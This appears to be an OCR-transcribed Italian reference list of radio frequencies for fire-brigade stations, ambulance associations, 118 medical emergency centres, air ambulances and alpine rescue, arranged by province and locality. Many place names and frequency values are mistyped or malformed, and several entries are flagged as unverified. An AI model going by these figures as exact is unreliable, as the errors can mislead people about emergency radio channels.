Livorno 162.650 165.250 172.962,5<>173.050 (simulcast) 173.062,5 172.762,5<>173.537,5 (simulcast) (Isole Elba — Capraia)
Cecina (località Cecinella Marina)
Marciena Marina
Portoferraio (località Antiche Saline)

Lodi 172.925 173.025
DISTACCAMENTI E STAZIONI NON DISPONIBILI

Lucca 164.812,5 172.787,5 172.912,5 173.012.5 173.125
Barga
Borgo a Mozzano
Camporgiano
Capannori (località Vorno)
Castelnuovo di Garfagnana (località Orto Murato)
Piazza al Serchio
Pietrasanta
Pieve Santo Stefano
Stazzema (località Molino Gìusti)
Viareggio (località Pontemazzori)

L'Aquila 172.912,5 173.012,5
Alfedena
Barisciano
Barrea
Bisegna
Cansano
Cepestrano
Capistrello
Cappadocia
Carsoti
Castel del Monte
Castel di Sangro
Celano
Civitella Roveto
Fontecchio
Gioia dei Marsi
Lecce nei Marsi
Lucoli
Magliano dè Marsi (località Pascolano)
Montereale
Opi
Pacentro
Pereto
Pescocostanzo
Pettorano sul Gizio
Pizzoli
Raiano
Rocca di Mezzo
Roccaraso
Sante Marie
Scanno
Scoppito
Secinaro
Tornimparte (località Villagrande)
Trasacco
Villavallelonga

Macerata 172.900 172.937.5 172.962,5 173.000
Apiro
Bolognola
Caldarola
Camerino
Castelsantangelo sul Nera
Cingoli
Civitanova Marche
Fiastra
Fiuminata
Matelica
Pieve Torina

Recanati
San Severino Marche
Sarnano
Serravalle di Chienti
Ussita
Visso

Mantova 172.987,5
DISTACCAMENTI E STAZIONI NON DISPONIBILI

Massa 162.825 172.975 173.075 173.562,5
Bagnone (località Grottò)
Comano
Fivizzano
Pontremoli
Zeri (località Coloretta)

Matera 172.900 173.000
DISTACCAMENTI E STAZIONI NON DISPONIBILI

Messina 172.925 (terra ferma + Isole Lipari) 173.025 173.050
Barcellona Pozzo di Gotto
Capizzi
Caronia
Floresta
Francavilla di Sicilia
Lipari
Patti
Rometta
San Fratello
Santa Teresa di Riva
SantAngelo di Brolo (località Naso)
Tortorici

Milano 172.925 173.025
Carate Brianza

Modena 166.050 172.950 173.050
Fanano
Fiumalbo
Lama Mocogno
Montefiorino
Montese
Pavullo nel Frignano
Pievepelago
Riolunato
Serramazzoni
Sestola
Zocca

Napoli 172.937.5 173.037.5
Casamicciola Terme
Castellammare di Stabia
Ottaviano
Palma Campania
Pozzuoli (località Monterusciello)
Roccarainola
Sorrento
Torre del Greco

Novara 172.937.5 172.962,5 173.062.5
Gozzano

Nuoro 172.925 172.975 173.025
DISTACCAMENTI E STAZIONI NON DISPONIBILI

Oristano 172.987,5
DISTACCAMENTI E STAZIONI NON DISPONIBILI

Padova 172.950 172.975 173.075 172.800 (regionale)
Monselice

Palermo 172. 950 (terra ferma + Isola Ustica) 172.975 173.075
Bisacquino
Caccano (località Contrada Calabrone)
Carini
Castalbuono
Castronovo di Sicilia
Collesano
Corlaona (località Ficuzza)
Lascari (località Contrada Sante Maria)
Monreale
Montemaggiora Belsito
Patralia Sottana
Piana degli Albanesi
Polizzi Generosa

Parma 165.975 166.350 172.960 172.962,5 173.000
Bedonia
Berceto
Borgo Val di Taro
Calastano
Corniglio (località Lagdei)
Langhirano
Monchio delle Corti
Neviano dagli Arduini
Pallagnno Parmense
Solignano

Pavia 172.967,5
DISTACCAMENTI E STAZIONI NON DISPONIBILI

Perugia (località Ponte Felcino) 160.675 172.950 173.050
Assisi (località Monte Subasio)
Cascia (località Padule)
Cerreto di Spoleto
Città dalla Pieve
Città di Castello (località Bocca Serriola)
Foligno
Gualdo Cattaneo
Gualdo Tadino
Gubbio
Magione
Marsciano
Monteleone di Spoleto
Nocera Umbra
Norcia
Passignano sul Trasimeno
Pietralunga (località Candeleto)
Preci
Sant'Anatolia di Narco
Scheggia e Pascelupo
Sellano
Spoleto

Todi
Travi
Umbertide
Valfabbrica

Pesaro 172.912,5 173.012,5
Cagli
Cantiano
Carpegna
Fano
Fossombrone
Macerata Feltria
Mercatello sul Metauro
Novafeltria
Pennabilli
Pergola
Piobbico
SantAgata Feltria
Sant'Angelo in Vado
Serra Sant'Abbondio
Urbino

Pescara 172.900<>173.000 (simulcast) 172.975 173.075
Caramanico Terme
Carpineto della Nora
Collecorvino
Farindola
Lettomanoppello
Montebello di Bertona
Penne
Popoli (località Impianezza)
Roccamorice
SantEufemia a Maialla
Torre dè Passeri

Piacenza 165.925 166.050 166.075 172.962, 5 173.062,5
Bettola
Bobbio Piacentino
Castell’Arquato
Ferriere
Ottone
Pianello Val Tidone
Travo

Pisa 172.937,5 173.037,5 173.512.5<> 173.550 (simulcast)
Calci
Montecatini Val di Cecina
Palaia
Pomarance
Pontedera
Santa Croce sull’Arno
Volterra

Pistoia 172.987,5<>173.050 (simulcast) 172.800
Abetone (località Pian degli Ontani)
Cutigliano
Monsummano Terme
Pescia
Piteglio
Sambuca Pistoiese (località Acquerino)
San Marcello Pistoiese

Pordenone 172.975 173.075
DISTACCAMENTI E STAZIONI NON DISPONIBILI

Potenza 172.937.5 173.037,5
Lagonegro
Marsicovetere (località Contrada Galdo)
Rionero in Vulture
Tolve

Prato 172.900 173. 000 173.582,5 173.750
Vernio

Ragusa 172.900 173.000
Chiaramonte Gulfi
Mistretta
Vittoria (località Contrada Gaspanella)

Ravenna 166.050 172.937,5 173.037.5
Brisighella
Casale Valsenio
Cervia

Reggio Calabria 172.750<>172.800 (simulcast) 172.900 173.000
Giffone
Gioia Tauro (località Contrada Cicerna)
Locri
Mammola
Oppido Mamertina
Platì
San Giorgio Morgeto
San Luca
Santo Stefano Aspromonte (località Gambarie)
Scilla
Staiti
Stilo

Reggio Emilia 165.925 168.250 172.925 173.025 173.525
Busana
Carpineti
Casina
Castelnuovo né Monti
Ligonchio
Marmiroto (località Bosco Fontana)
Ramiseto
Viano
Villa Minozzo

Rieti 172.987,5
Antrodoco

Rimini 172.962,5 173.062,5
Misano Adriatico

Roma 172.962,5 173.062.5
Arsoli
Bracciano
Rignano Flaminio
Subiaco
Tivoli
Velletri
Vicovaro

Rovigo 172.750 172. 925 173.025 172.800 (regionale)
Adria

Salerno 172.912.5 172.950 173.012,5
Padula
Pontecagnano Faiano (località SantAntonio)

Sassari 172.950 173.050
DISTACCAMENTI **E** STAZIONI NON DISPONIBILI

Savona 172.780 172.800<>173.000 (simulcast) 173.050 (regionale)
Albenga (località Leca) 173.575 (regionale) (da verificare)
Andora
Cairo Montenotte
Calice Ligure
Calizzano
Loano
Sassello
Spotorno

Siena 172.750<>173.537,5 (simulcast) 172.975 173.075
Asciano
Castiglione d'Orcia
Colle di Val d'Elsa
Gaiole in Chianti
Montalcino
Monticiano
Piancastagnaio
Racida in Chianti
San Gimignano
Sarteano
Sinalunga

Siracusa 172.950 173.050
Buccheri
Noto
Sortino

Sondrio 172.975 173.075 173.532,5
Ardenno
Barbenno di Valtellina
Bormio
Campodolcino
Chiavenna
Chiese in Valmalanco
Delebio
Grosotto
Morbegno
Ponte In Valtellina
Sondalo
Teglio
Tirano
Valdidentro

Taranto 172.925 173.025 173.050
DISTACCAMENTI E STAZIONI NON DISPONIBILI

Teramo 172.950<>173.012,5<>173.050 (simulcast)
Atri
Campli
Castelli
Civitella del Tronto

Cortino
Crognaleto (Località Nerito)
Pietracamela
Rocca Santa Maria
Torricella Sicura
Tossicia (località Contrada Piane San Liberatore)

Terni 172.900 173.000
Acquasparta
Allerona
Amelia
Arrone
Avigliano Umbro
Calvi dell'Umbria
Castei Viscardo
Ferentillo
Ficulle
Lugnano in Teverina
Nami
Orvieto (località Polleggione Morrano)
San Venanzo
Stroncone

Torino 172.900 172.925 173.000
Almese
Bardonecchia
Beinasco (località Torino Fornaci)
Bussoleno
Ceres
Chivasso
Fenestrelle
Giaveno
Lanzo torinese
Locana
Montalto Dora
Noasca
Oulx
Pinasca
Pinerolo
Pont Canavese
Pragelato (località Frazione Ruà)
Ronco Canavese
Torre Pellice
Vico Canavese

Trapani 172.950 (terra ferma + Isola Favignana) 173.050 Erice

Trento 172.962,5 173.062,5
Mione

Treviso 172.912,5 173.012.5 173.075 172. 800 (regionale)
Borso del Grappa
Cavaso deI Tomba
Creapano del Grappa
Cornuda
Valdobbiadene
Vittorio Veneto
Volpago del Mantello

Trieste 172.962,5 173.062.5
DISTACCAMENTI E STAZIONI NON DISPONIBILI

Udine 172.900 173.000 173.567,5 (verificare)
Malborghetto Valbruna (località Ugovizza)
Tarvisio (località Camporosso)

Varese 172.795 172.912,5 173.012,5
Arcisate
Cunardo
Lavano Mombello
Luino
Tradate
Vergiate

Venezia (località Mestre) 172.937,5 173.037,5 173.125 (verificare) 172.800 (regionale)
Bibione (località San Michele al Tagliamento)
Chioggia (località Cavanella d'Adige)
Portogruaro

Verbania (località Pallanza) 172.937,5 172.962,5 173.062,5
Baceno
Beura Cardezza (località Domo Due)
Cannobio
Ceppo Morelli
Domodossola
Gignese
Omegna
Piedimulera
Santa Maria Maggiore
Varzo

Vercelli 172.925 172.950 173.025
Gattinara
Scopa (Frazione Valletto)
Varallo

Verona 172.912,5 173.012,5 172.800 (regionale)
Brenzone (località Magugnano)
Caprino Veronese
Cavaian Veronese
Fumane
Grezzana
Montecchia di Crosara
Roverè Veronese
San Zeno di Montagna
SantAnna d'Alf aedo
Tregnano

ViboValentia 172.937,5 173.037,5
Arena
Mongiana
Serra San Bruno
Soriano Calabro
Vallelonga

Vicenza 172.950 173.050 172.800 (regionale)
Arzignano
Asiago
Bassano del Grappa
Conco
Enego
Gallio
Lonigo
Lusiana

Roana
Rotzo
San Nazario
Schio

Viterbo 172.937.5 173.037,5
Acquapendente
Bagnoregio
Bolsena
Civita Castellana
Montefiascone
Oriolo Romano
Ronciglione
Soriano nel Cimino
Tarquinia
Tuscania
Valentano
Vasanello
Vetralla

INTERO ELENCO FREQUENZE UTILIZZATE NELLA BANDA

172.5 – 174 MHz

172.750	172.762,5	172.787,5	172.800	172.900	172.912,5
172.925	172.937.5	172.950	172.962,5	172.975	172.987,5
173.000	173.012,5	173.025	173.037,5	173.050	173.062.5
173.075	173.087,5	173.100	173.125	173.512,5	173.525
173.537,5	173.550	173.562.5	173.575	173.750	

SERVIZI SANITA'

AMBULANZE

CROCI ROSSA - PUBBLICHE ASSISTENZE - PRIVATE

BANDE 156 – 175 440 - 470 MHz (servizi compresi nelle gamme civili VHF- UHF)

LINK MASTER UHF - LIMITI DI BANDA 436 - 440 446 - 449 MHz
(compresi nella gamma civile UHF)

CROCI ROSSA PUBBLICHE ASSISTENZE
L'ASSEGNAZIONE E UTILIZZO DEI CANALI DI LAVORO AVVIENE A LIVELLO PROVINCIALE
PER OGNI BACINO DI UTENZA

CROCE ROSSA ITALIANA

ALCUNE PROVINCIE UTILIZZANO LA FREQUENZA A LORO ASSEGNATA
COME EMERGENZA SANITARIA 118

ASSEGNAZIONE	CANALI	FREQUENZE
Provinciale	1	171.975
Provinciale	13 (verificare)	171.987,5
Provinciale	2	172.000
Provinciale	3	173.250
Provinciale	4	173.275
Provinciale	5	173.300
Provinciale	17	173.312,5
Provinciale	6	173.325

CROCI PUBBLICHE ASSISTENZE
COOPERATIVE PUBBLICHE ASSISTENZE

ASSEGNAZIONE	CANALI	FREQUENZE
Provinciale	1	173.175
Provinciale	2	173.187,5
Provinciale	3	173.200
Provinciale	4	173.212,5
Provinciale	5	173.225
Nazionale	6	172.775

CROCI PRIVATE

VENGONO ANCHE RIPORTATE CROCI PUBBLICHE ASSISTENZE CHE UTILIZZANO FREQUENZE NON INSERITE NELLA CANALIZZAZIONE NAZIONALE ASSEGNATA

LOCALITA'	**ENTE**	**FREQUENZE**
Acqui Terme (AL)	Bianca	173.187,5
Agrate Brianza (Ml)	Ambrosiana	460.012,5
Alassio (SV)	Bianca	173.100
Albenga (SV)	Bianca	173.100
Albenga (SV)	Rossa	173.100
Albisola Superiore (SV)	Verde	173.100
Andora (SV)	Bianca	173.100
Arcola (SP)	Verde	173.525
Arese (MI)	Misericordia	160.525
Arluno (Ml)	Volontari	165.100
Arma di Taggia (IM)	Verde	173.125
Badalucco (IM)	Verde	173.125
Baveri (GE)	Azzurra	173.125 173.550
Bergamo e prov.	non disponibile	160.925
Besana Brianza (MI)	Bianca	162.475 460.012.5
Beverino (SP)	Bianca	173.525
Biassono (Ml)	Bianca	162.475 460.012,5
Binasco (Ml)	Bianca	162.475 460.012,5
Bogliasco (GE)	Verde	173.125 173.550
Bolano (SP)	Pubblica Ass. Ceparana	173.525
Bolzaneto (GE)	Bianca	173.125 173.550
Bonassola (SP)	Azzurra	173.525
Bordighera (IM)	Rossa	173.125 173.275
Borghetto di Vera (SP)	Verde	173.525
Borghetto Santo Spirito (SV)	Bianca	173.100
Borgio Verezzi (SV)	Bianca	173.100
Borzoli (GE)	Azzurra	173.125 173.550
Borzonasca (GE)	Verde	173.500
Bovisio Masciago (MI)	Rossa	173.275 460.012,5
Brescia	Bianca	466.487,5 468.012,5
Brasso (MI)	Rossa	173.275 460.012,5
Brugherio (MI)	Bianca	162.475 460.012,5
Brugherio (MI)	Rossa	173.275 460.012,5
Busalla (GE)	Verde	173.125 173.550
Cairo Montenotte (SV)	Bianca	173.100
Calizzano (SV)	Azzurra	173.100
Camogli (GE)	Verde Camogliese	173.500
Carasco (GE)	Verde	173.500
Carate Bnanza (MI)	Bianca	162.475
Cercare (SV)	Bianca	173.100
Carrara (MS)	Misericordia	162.425 (da verificare)
Carrara (MS)	non disponibile	161.375
Cerugate (MI)	Bianca	162.475
Caseina dè Pecchi (MI)	Bianca	162.475
Castelnuovo Magra (SP)	Bianca	173.525
Castiglione Chiavarese (GE)	Verde	173.500
Celle Ligun (SV)	Rosa	173.100
Cangio Bormida (SV)	Rossa	173.100
Ceriale (SV)	Rossa	173.100
Cernusco sul Naviglio (Ml)	Bianca	162.475
Cervo (IM)	D'Oro	173.125
Cesena Maderno (Ml)	Bianca	162.475 460.012,5
Champorcher (AO)	non disponibile	151.365

Chiavari (GE)	Verde Chiavarese		173.500
Cinisello Balsamo (MI)	Rossa	173.275	460.012,5
Cologno Monzese (MI)	Avis	161.250	
Cornigliano Ligure (GE)	Bianca	173.125	173.550
Corsica (MI)	Blu	161.225	
Corsico (MI)	Verde A.P.M.	173.775	
Cosio di Arroscia (IM)	Rossa	173.125	173.275
Deiva Marina (SP)	D'Oro	173.525	
Desenzano del Garda (BS)	non disponibile	162.787,5	
Desio (MI)	Rossa	173.275	460.012.5
Diano Marina (IM)	Rossa	173.125	173.275
Dolceacqua (IM)	Verde Intemelia	173.125	173.525
Finale Ligure (SV)	Bianca	173.100	
Finale Ligure (SV)	Verde	173.100	
Firenze	Azzurra	165.450	
Firenze	Misericordia	161.675	171.650
Foligno (PG)	Croce Bianca	465.400	
Follo (SP)	Rossa	171.975	173.525
Fossola (MS)	non disponibile	157.830	
Premura (SP)	Pubblica Ass. Framurese	173.525	
Garlasco (PV)	Garlaschese	165.200	
Genova	Azzurra Cà Nove	173.125	173.550
Genova	Bianca del Soccorso	173 125	173.550
Genova	Bianca Genovese	173.125	173.550
Genova	Blu Castelletto	173 125	173.550
Genova	Celeste San Benigno	173.125	173.550
Genova	d'Oro	173.125	173.550
Genova	Verde (Forte Quezzi)	173.125	173.550
Genova	Verde (Genovese)	173.125	173.550
Genova	Vol. del Socc. (V.Fenice)	173.125	173.550
Genova	Vol. del Socc. (S. Anna)	173.125	173.550
Genova	Vol. del Socc. (S. Tecla)	173.125	173.550
Genova	Volontari (via Vesuvio)	173.125	173.550
Genova	Volontari San Giorgio	173.125	173.550
Giussano (Ml)	Bianca	162.475	
Imperia	Bianca	173.125	
Imperia	Rossa	173.125	173.275
Isoverde (GE)	Verde	173.125	173.550
La Spezia	Bianca	173.525	
Le Spezia	Rossa	171.975	173.525
Legnano (MI)	Bianca	162.475	
Lerici (SP)	Rosso-Bianca	173.525	
Limbiate (Ml)	Argento	164.950	
Lissone (MI)	Verde Lissonese	460.012,5	
Livorno	non disponibile	171.825	
Livorno	non disponibile	172,762,5	
Livorno	non disponibile	173.775	
Lodi (provincia)	non disponibile	160.575	
Loeno (SV)	Rossa	173.100	
Lucca	Misericordia	171.875	172.025
Lumarzo (GE)	Verde	173.125	173.550
Magenta (MI)	Bianca	162.475	
Menano Comense (CO)	Bianca	162,475	
Massa	Misericordia	161.025	
Melegnano (MI)	Bianca	162.475	
Melzo (Ml)	Bianca	162.475	
Mignanego (GE)	Bianca	173.125	173.550
Milano	Ambrosiana	161 075	
Milano	Bianca	162 475	
Milano	Intervol	161.262,5	
Milano	Maria Bambina	161.250	
Milano	Misericordia	161.025	

Milano	D’Oro	160.362,5 162.537,5 163.075 (simulcast)
Milano	Rosa Celeste	161.050
Milano	Samaritana	160 375
Milano	San Carlo	160.212,5
Milano	Santa Rita	161.375
Milano	Sos	164.775
Milano	Sos Lambrate	173.775
Milano	Verde A.P.M.	173.775
Milano	Viola	173.775
Milano	non disponibile	160.137,5
Milano	non disponibile	160.525
Milano	non disponibile	165.287,5
Molassana Alta (GE)	Pubblica Assistenza	173.125 173.550
Moneglia (GE)	Azzurra Monegliese	173.500
Monterosso al Mare (SP)	Bianca	173.525
Monza (MI)	Rossa	173.275 460.012,5
Muggiò (MI)	Rossa	173.275 460.012,5
Ne (GE)	Verde	173.500
Nervi (GE)	Pubblica Assistenza	173.125 173.550
Nizza Monferrato (AT)	Verde	165.050
Noli (SV)	Bianca	173.100
Nova Milanese (MI)	Rossa	173.275 460.012,5
Novara	non disponibile	161.675
Novara	non disponibile	173.775
Ospedaletti (IM)	Bianca	173.125 173.525
Ovada (AL)	Verde Ovadese	160.837,5
Paderno Dugnano (MI)	Rossa	173.275 460.012.5
Padova	Verde	161.125
Paullo (MI)	Bianca	162.475
Pegli (GE)	Verde	173.125 173.550
Pero (Ml)	Astra Radio Soccorso	161.075
Peschiera Borromeo (Ml)	Bianca	162.475
Pietre Ligure (SV)	Rossa	173.100
Pieve di Teco (IM)	Rossa	173.125 173.275
Pieve Emanuele (MI)	Bianca	162.475
Pinerolo (TO)	Verde	173.162,5
Pino (GE)	Bianca	173,125 173.550
Piombino (LI)	non disponibile	163.475
Pisa	Misericordia	163.575
Pisa	non disponibile	171.600
Pisa	non disponibile	172.762,5
Pisa e prov.	non disponibile	173.125
Pisa e prov.	non disponibile	173.550
Pistoia	Misericordia	161.875 171.675
Pontedassio (IM) ,	Rossa	173.125 173.275
Pornassio (IM)	Bianca	173.125
Portofino al Mare (GE)	Pubblica Assistenza	173.500
Prà (GE)	Verde	173.125 173.550
Prato	Misericordia	161.875 171.875
Quarto dei Mille (GE)	Verde	173.125 173.550
Quinto al Mare (GE)	Verde	173.125 173.550
Repallo (GE)	Bianca Rapallese	173.500
Recco (GE)	Verde	173.125 173.550
Reggio Emilia	Verde	161.125
Riccò del Golfo (SP)	Rossa	171.975 173.525
Riverolo (GE)	Rosa Rivarolese	173.125 173.550
Rozzano (Ml)	Viola	173.775
Sampierdarena (GE)	d’Oro	173,125 173.550
San Remo (IM)	Bianca	173.125 173 525
San Remo (IM)	Pubblica Ass. Volontari	173.125 173.525
San Desiderio (GE)	Bianca	173.125 173.550
San Donato Milanese (MI)	Gialla	165.267,5

San Giuliano Milanese (MI)	Bianca	162.475
San Pietro all’Olmo (MI)	Verde	161.050
San Quirico (GE)	Rosa	173.125 173.550
San Valentino Multa (BZ)	Bianca Val Venosta	163.350
SantAngelo Lodigiano (LO)	Bianca	162.475
Santa Margherita Ligure (GE)	Verde Sanmargheritese	173.500
Santo Stefano al Mare (IM)	Rossa	173.125 173.275
Santo Stefano di Magra (SP)	Rossa	171.975 173.525
Saronno (VA)	Argento	164.950
Sarzana (SP)	Rossa	171.975 173.525
Sassello (SV)	Rossa	173.100
Savona	Bianca	173.100
Savona	Rossa	173.100
Sciarborasca (GE)	d’Oro	173.125 173.550
Senago (MI)	P.a.s.	163.525
Senigallia (AN)	Misa Soccorso	163.550
Seregno (MI)	Volontari	160.425
Sesta Godano (SP)	Rossa	171.975 173.525
Sesto San Giovanni (MI)	S.os.	173.775
Sestri Levante (GE)	Verde	173.500
Sestri Ponente (GE)	Verde	173.125 173.550
Seveso (MI)	Bianca	162.475
Siena	Misericordia	165.700 o 166.700
Spotorno (SV)	Bianca	173.100
Struppa (GE)	Bianca	173.125 173.550
Taggia (IM)	Rossa	173.125 173.275
Torino	Bianca	163.475
Torrazza (GE)	Bianca	173.125 173.550
Trezzo sull’Adda (MI)	Azzurra	460.012.5
Vado Ligure (SV)	Rossa	173.100
Vallecrosia (IM)	Azzurra	173.125 173.525
Vallecrosia (IM)	Verde Intemelia	173.125 173.525
Vallecrosia (IM)	Rossa	173.125 173.275 173.525
Valsecca (GE)	Bianca	173.125 173.550
Varazze (SV)	Rossa	173.100
Varedo (MI)	Rossa	173.275 480.012,5
Varese Ligure (SP)	Rossa	171.975 173.525
Ventimiglia (IM)	Rossa	173.125 173.275
Vernazza (SP)	Verde	173.525
Viareggio (LU)	Misericordia	163.400

SANITA’

EMERGENZA SANITARIA

BANDE 156 – 175 460 - 470 MHz (servizi compresi nelle gamme civili VHF-UHF)

LINK MASTER UHF - LIMITI DI BANDA 436 - 440 445 –449 MHz

(compresi nella gamma civile UHF)

L’ASSEGNAZIONE E UTILIZZO DELLE FREQUENZE DI LAVORO AWIENE A LIVELLO PROVINCIALE
PER OGNI BACINO DI UTENZA

LOCALITA	ENTE	FREQUENZE
Abano Terme (PD)	Guardia Medica	173.550
Adria (RO)	Delta Soccorso	173.550
Alessandria	Emergenza Sanitaria 118 (freq. CRI)	173.275
Ancona	Marche Soccorso	173.225
Aosta	Emergenza Sanitaria 118 (da verificare)	181.575
Assisi (PG)	Pronto Soccorso (Ospedale)	160.250
Asti	Emergenze Sanitaria 118 (freq. CRI)	173.275
Avigliana (TO)	Centro Soccorso	162.387,5
Badalucco (IM)	Guardia Medica	173.525
Belluno	Emergenza Sanitaria 116	446.850
Bergamo	Emergenza Sanitaria 118 (freq. CRI)	173.300
Biella	Emergenza Sanitaria 118	162.037,5
Biella	Guardia Medica	162.050
Bologna	Bologna Soccorso 118	160.650 165.650 165.725
Bordighera (IM)	Pronto Soccorso	173.125
Borgo San Dalmazzo (CN)	Centro Unico Soccorso	160.675
Bosco Marengo (AL)	Guardia Medica	173.400
Brescia	Emergenza Sanitaria 118 (freq. CRI)	171.975
Cagliari	Guardia Medica	162.225
Caluso (TO)	Guardia Medica	162.150
Castiglione del Lago (PG)	Pronto Soccorso (Ospedale)	161.700
Catania	Emergenza Sanitaria 118	172.000
Cesena (FO)	Cesena Soccorso 118	165.775
Como	Emergenza Sanitaria 118	172.775<>173.600 (simulcast)
Cremona	Emergenza Sanitaria 118	173.095
Cuneo	Emergenza Sanitaria 118 (freq. CRI)	173.325
Desio (MI)	Guardia Medica	460.012.5
Ferrara	Ferrara Soccorso 118	165.675
Firenze	Firenze Soccorso 118	173.175
Firenze	non disponibile	171.825 171.850
Foligno (PG)	Pronto Soccorso (Ospedale)	163.550
Forlì	Forlì Soccorso 118	165.650
Genova	Genova Soccorso - 118	173.125 173.500 173.550
Genova	Guardie Medica	173.550
Gorizia	Emergenza Sanitaria 118	173.125 173.512,5 (verificare)
Imperia	Imperia Soccorso 118	173.125
Imperia	Pronto Soccorso	173.125
Le Spezia	Le Spezia Soccorso 118	173.525
Le Spezia	Guardia Medica	173.525
Lecco	Emergenza Sanitarie 118	172.775<>173.600 (simulcast)
Livorno	Emergenza Sanitaria 118	173.775

Locate Triulzi (MI)	Pronto Intervento Locatese	442.100
Lodi	Emergenza Sanitaria 116	460.137,5
Lodi (provincia)	Guardia Medica	160.575
Lucca	Emergenza Sanitaria 118 (da verificare)	171.850
Macerata	Macerata Soccorso 118	163.275
Mantova	Emergenza Sanitaria 118	165.300
Mestre (VE)	Emergenza Sanitaria 118	172.787,5
Modena	Modena Soccorso 118	166.900
Mondovì (CN)	non disponibile	162.375
Monza (MI)	Emergenza Sanitaria 118	460.012,5
Monza (MI)	Guardia Medica	460.012,5
Napoli	Taxi Sanitario	173.700
Novara	Emergenza Sanitaria 118 (freq. CRI)	171.975
Omegna (VB)	Guardia Medica	173.225
Padova	Emergenza Sanitaria 118	173.10625
Padova	Guardia Medica	165.775
Padova	non disponibile	161.650
Palermo	Taxi Sanitario	172.775
Parma	Parma Soccorso 118	165.725 172.800
Pavia	Emergenza Sanitaria 118 (freq. CRI)	173.325
Perugia	Pronto Soccorso (Ospedale)	161.600
Piacenza	Piacenza Soccorso 118	165.650 173.550 (nuova freq.)
Pisa	Emergenza Sanitaria 118 (da verificare)	171 .800
Pordenone	Emergenza Sanitaria 118	172.7687,5 173.7187,5
Rapallo (GE)	Guardia Medica	173.500
Ravenna	Ravenna Soccorso 118	165.626
Reggio Emilia	Reggio Emilia Soccorso 118	165.625 173.250 (freq. CRI)
Rho (MI)	Rho Soccorso	173.175
Rho (MI)	Guardia Medica	165.025
Rimini	Rimini Soccorso 118	165.775
Rovigo	Emergenza Sanitaria 118	173.550
Sanremo (IM)	San Remo Soccorso 118	173.525
Sarzana (SP)	Guardia Medica	173.525
Sassello (SV)	Pronto Soccorso	173.100
Savigliano (CN)	non disponibile	162.150
Savona	Savona Soccorso 118	173.100
Savona	Guardia Medica	173.100
Seregno	Seregno Soccorso	460.0l2,5
Sesto San Giovanni (MI)	Guardie Medica	161.675
Siena	Siena Soccorso 118	161.025
Sondrio	Emergenza Sanitaria 118 (freq. CRI)	173.250
Susa (TO)	Susa Soccorso	173.537,5
Torino	Torino Soccorso 118	467.125
Torino	Emergenza Sanitaria 118	173.493,75
Torino	Guardie Medica	467.500
Torino	Servizio Medico domiciliare	162.137,5
Torino provincia	Emergenza Sanitaria 118 (freq. CRI)	172.000
Torino provincia	Emergenza Sanitaria 118	460.250 (prossima attivazione)
Trento	Emergenza Sanitaria 118	161.800 161.625 161.850
Treviso	Emergenza Sanitaria 118	165.675 173.493.75
Trieste	Emergenze Sanitaria 118	172.806,250 173,500
Udine	Emergenza Sanitaria 118	173.737,5 173.118,75 (verif.)
Valle Susa (TO)	Guardia Medica	173 537,5
Varazze (SV)	Guardia Medica	173.100
Varese	Emergenza Sanitaria 118 (freq. CRI)	171.975
Varese (provincia)	Servizio Medico domiciliare	440.700
Venezia	Emergenza Sanitaria 118	165.700 172.787.5
Ventimiglia (IM)	Ventimiglia Soccorso 118	173.525
Verbania	Emergenza Sanitaria .118	173.493,75
Vercelli	Emergenza Sanitaria 118	163.800
Vercelli	Guardia Medica	165.862.5

Verona	Verona Emergenza 118	172.770
Viareggio (LU}	Emergenza Sanitaria 118 (da verificare)	171.850
Zanica (BG)	Zanica Soccorso	161.987,5

SANITA’

ELISOCCORSO - ELIAMBULANZA

BANDE 156- 175 440 - 470 MHz (servizi compresi nella gamme civili VHF- UHF)

L’ASSEGNAZIONE E UTILIZZO DELLE FREQUENZE DI LAVORO AVVIENE A LIVELLO PROVINCIALE
PER OGNI BACINO DI UTENZA

LOCALITA'	**FREQUENZE**
Alessandria	173.493,75
Alta Val Venosta (BZ)	163.100
Ancona	173.225
Aosta	165.875 171.500 171.550
Ascoli Piceno	173.225
Asti	173.493,75
Bergamo	173.300
Biella	173.493,75
Bologna	165.725
Bologna (Reno)	185.650
Bolzano	163.450 164.575 (Soccorso Alpino) 160.500 (Catores Val Gardena)
Bressanone (BZ)	165.250
Como	172 775 (Lario Soccorso)
Cuneo	173.493,75
Ferrara	165.675
Forli	165.900
Genova	73.675 (Vigili deI Fuoco) 173.125 173.550
Gorizia	173.126
Imola (BO)	165.775
Imperia	173.125
La Spezia	173.525
Lecco	172.775 (Lario Soccorso)
Macerata	173.225
Mantova	165.300
Milano	165.300
Modena	165.650
Novara	173.493,75
Parma	165.725 172.800
Pesaro	173.225
Piacenza	165.675
Pieve di Cadore (BL)	161.212,5 161.750
Ravenna	165.625
Reggio Emilia	165 625
Rimini	165.675
Roma	135.250 (freq. aeronautica)
Savona	173.100
Solda (BZ)	164.000
Sondrio	173.250
Torino	173.493,75
Trento	161.600 161.825 161.850
Treviso	165.675
Trieste	173.500 (sede Udine)
Udine	173.737,5
Venezia	155.675
Verbania	173.493,75

SOCCORSO ALPINO

RIFUGI ALPINI - GUIDE ALPINE - FUNIVIE

BANDA VHF 166.025 - 166.475 MHz BANDA UHF 446.050 - 447.450 MHz
(servizi compresi nelle gamme civili VHF-UHF)

BANDA VHF 68.0 - 72.0 MHz
IN QUESTA BANDA SONO OPERATIVI SERVIZI CON UTILIZZAZIONE A LIVELLO LOCALE DI FREQUENZE PER SOCCORSO ASSEGNATE PER OGNI BACINO DI UTENZA

68.750	Per impiego in operazioni di soccorso su tutto il territorio nazionale fatta eccezione per la sola regione Valle d'Aosta
71.250	Savigliano (CN)
71,500	Per impiego in operazioni di soccorso su tutto il territ orio nazionale anche per collegamenti con elicotteri di soccorso
71.550	Per impiego in operazioni di soccorso per la sola regione Valle d'Aosta
146.660	Per impiego in operazioni di soccorso su tutto il territorio nazionale (da verificame effettivo utilizzo in interventi di emergenza e soccorso)
169.812,5	**CAI**. Per impiego in operazioni di emergenza e soccorso su tutto il territorio nazionale

LOCALITA' CON FREQUENZE OPERATIVE ADIBITE ALL'EMERGENZA E SOCCORSO
BANDA VHF (servizi compresi nella gamma cIvile)

145.900	Presanella
146.410	Edolo (BS)
146.410	Ponte di Legno (BS)
146.500	Passo Oclini (TN)
146.700	Tonale (TN)
156.135	Alpe Devero (VB)
158.625	Vallese
160.425	Alpe Siusi
160.462,5	Trento
162.525	Val Gardene
163.350	La Thuille (AO)
164.000	Alto Adige
164.035	Valle del Po
165.150	Bormio (SO)
165.250	Alpe Cermis (TN)
166.650	Alagna Valsesia (VC)
166.925	Sondalo (SO)
173.562,5	Massa (località appenniniche nella provincia)

RIFUGI ALPINI

